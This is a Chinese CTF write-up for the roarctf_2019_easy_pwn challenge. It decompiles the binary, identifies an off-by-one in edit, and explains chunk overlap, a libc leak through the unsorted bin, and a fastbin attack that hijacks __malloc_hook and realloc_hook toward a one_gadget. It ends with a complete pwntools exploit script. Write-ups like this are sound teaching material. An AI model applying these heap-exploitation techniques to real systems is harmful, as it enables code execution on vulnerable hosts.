off_by_one
单字节溢出

题目描述

calloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 sub_C46()
{
__int64 result; // rax
int v1; // ST0C_4
unsigned int i; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]
signed int v4; // [rsp+8h] [rbp-18h]
void *v5; // [rsp+10h] [rbp-10h]

result = 0LL;
for ( i = 0; i <= 15; ++i )
{
result = *(&use + 4 * i);
if ( !result )
{
printf("size: ");
v4 = input(v3);
if ( v4 > 0 )
{
if ( v4 > 4096 )
v4 = 4096;
v5 = calloc(v4, 1uLL);
if ( !v5 )
exit(-1);
*(&use + 4 * i) = 1; // in_use
*(&size + 4 * i) = v4; // size
ptr[2 * i] = v5; // ptr
v1 = ptr[2 * i] & 0xFFF;
printf("the index of ticket is %d \n", i);
}
return i;
}
}
return result;
}

一个结构体,内容分别为in_use位,size位和指向堆空间的指针

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 sub_E82()
{
int v1; // [rsp+Ch] [rbp-14h]
signed int v2; // [rsp+Ch] [rbp-14h]
signed int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]

printf("index: ");
v2 = input(v1);
v3 = v2;
if ( v2 >= 0 && v2 <= 15 )
{
v2 = *(&use + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = input(1);
v4 = sub_E26(*(&size + 4 * v3), v2); // if input_size - real_size == 10,off_by_one
if ( v2 > 0 )
{
printf("content: ", v2);
v2 = sub_D92(ptr[2 * v3], v4);
}
}
}
return v2;
}

index需要在0到15之间
获取in_use位并判断
输入size
注意到这里进入了一个函数sub_E26(*(&size + 4 * v3), v2)

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return result;
}

即当输入的size-真实的size等于10时,在读入内容时将多读入一个字节,发生单字节溢出

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 free_0()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]

printf("index: ");
v0 = input(v3);
v4 = v0;
v2 = v0;
if ( v0 >= 0LL && v0 <= 15LL )
{
v4 = *(&use + 4 * v0);
if ( v4 == 1 )
{
*(&use + 4 * v0) = 0;
*(&size + 4 * v0) = 0;
free(ptr[2 * v0]);
ptr[2 * v2] = 0LL;
}
}
return v4;
}

free操作,指针置0了,感觉没什么问题

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 sub_1122()
{
int v1; // [rsp+0h] [rbp-10h]
__int64 v2; // [rsp+0h] [rbp-10h]

printf("index: ");
LODWORD(v2) = input(v1);
HIDWORD(v2) = v2;
if ( v2 >= 0 && v2 <= 15 )
{
LODWORD(v2) = *(&use + 4 * v2);
if ( v2 == 1 )
{
printf("content: ", v2);
LODWORD(v2) = sub_108E(ptr[2 * SHIDWORD(v2)], *(&size + 4 * SHIDWORD(v2)));
}
}
return v2;
}

打印堆的内容

须知

off_by_one的操作

通过输入的size比真实size大10来覆盖size位
通用操作:

  1. 申请三个堆
  2. 编辑第一个堆,修改第二个堆的size大小为第二个和第三个堆的size的和
  3. free第二个堆,再申请回来
    此时第二个堆就包含了第三个堆,可以通过编辑第二个堆对第三个堆的内容进行修改(注意本道题堆分配用的是calloc,会在分配时把堆的内容清空,所以需要手动恢复一下堆的信息)

利用realloc_hook调整栈桢,使one_gadget生效

尝试所有one_gadget都失效应该考虑是栈桢不满足条件,需要利用realloc调整栈桢
什么是realloc呢?
realloc在库函数中作用就是重新调整malloc或calloc所分配的堆大小,它和malloc一样有hook函数,当hook函数不为空时就会跳转运行hook函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000846C0 ; __unwind {
.text:00000000000846C0 push r15 ; Alternative name is '__libc_realloc'
.text:00000000000846C2 push r14
.text:00000000000846C4 push r13
.text:00000000000846C6 push r12
.text:00000000000846C8 mov r13, rsi
.text:00000000000846CB push rbp
.text:00000000000846CC push rbx
.text:00000000000846CD mov rbx, rdi
.text:00000000000846D0 sub rsp, 38h
.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB mov rax, [rax]
.text:00000000000846DE test rax, rax
.text:00000000000846E1 jnz loc_848E8 //跳转执行realloc_hook
.text:00000000000846E7 test rsi, rsi
.text:00000000000846EA jnz short loc_846F5
.text:00000000000846EC test rdi, rdi
.text:00000000000846EF jnz loc_84960
.text:00000000000846F5

从realloc源码可以看到开头会有改变栈桢的操作,然后跳转执行realloc_hook

实际操作为将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:

1
malloc->malloc_hook->realloc_realloc_hook->one_gadget

思路:

注意为了利用off_by_one,申请的堆大小需要为0x?8,这样为了字节对齐,系统会把下一个chunk的pre_size位给我们使用,我们再溢出一个字节便能更改size位

泄露基址

  1. 编辑chunk0更改chunk1的size位使其包含chunk2,释放chunk1再申请回来,编辑恢复chunk2的size位(申请的chunk2大小应为small chunk范围)
  2. 释放chunk2,其被放入unsorted bin,同时由于只有这一个空闲chunk,其fd和bk指针均指向main_arena+88处(释放时chunk2后面需要其他chunk隔开top chunk)
  3. 打印chunk1的内容。由于之前已经伪造使得chunk1包含了chunk2,这时会把chunk2的fd和bk打印出来,从而计算得到libc基址

fastbin attack

  1. 把刚才释放的chunk2申请回来
  2. 编辑chunk3修改chunk4的size使其包含chunk5
  3. 释放物理相邻的chunk5,chunk4,后一个chunk5size位应为0x70(申请时为0x68,为了和malloc_hook-0x23处对应的size匹配)
  4. 把chunk4申请回来,此时chunk4已经包含处于fastbin中的chunk5。编辑chunk4把malloc_hook-0x23填入chunk5的fd指针
  5. 连续申请两次0x68大小的堆,第二次就能得到指向malloc_hook-0x23处的我们伪造的堆
  6. 编辑伪造的堆,one_gadget填入realloc_hook,realloc+offset填入malloc_hook,然后再申请一个堆,即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./roarctf_2019_easy_pwn')
elf = ELF('./roarctf_2019_easy_pwn')
libc = ELF('./libc-2.23.so')

def alloc(size):
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))

def edit(idx, size, content):
r.recvuntil(':')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(content)

def free(idx):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))

def show(idx):
r.recvuntil(':')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(idx))

alloc(0x18) #0
alloc(0x18) #1
alloc(0x88) #2

alloc(0x68) #3
alloc(0x68) #4
alloc(0x68) #5
alloc(0x88) #6

payload = 'a'*0x18 + p8(0xb1)
edit(0,0x18+10,payload)
free(1)
alloc(0xa8) #1
payload = 'b'*0x18 + p64(0x91)
edit(1,0x18+0x8,payload)
free(2)
show(1)
r.recvuntil('b'*0x18)
r.recv(8)
data = u64(r.recv(8))
libc_base = data-0x3c4b78
print hex(data)
print 'libc_base ===>',hex(libc_base)
gdb.attach(r)
one_gadget = libc_base+0xf02a4
malloc_hook = libc_base+libc.sym['__malloc_hook']-0x23
realloc_hook = libc_base+libc.sym['realloc']
alloc(0x88)


payload = 'c'*0x68+p8(0xe1)
edit(3,0x68+10,payload)
free(5)
free(4)
alloc(0xd8) #4

payload = p64(0)*13+p64(0x71)+p64(malloc_hook)
edit(4,0x8*15,payload)
alloc(0x68) #5
alloc(0x68) #7malloc

payload = 'a'*(0x13-0x8)+p64(one_gadget)+p64(realloc_hook+16)
edit(7,27,payload)
gdb.attach(r)
alloc(0x100)

r.interactive()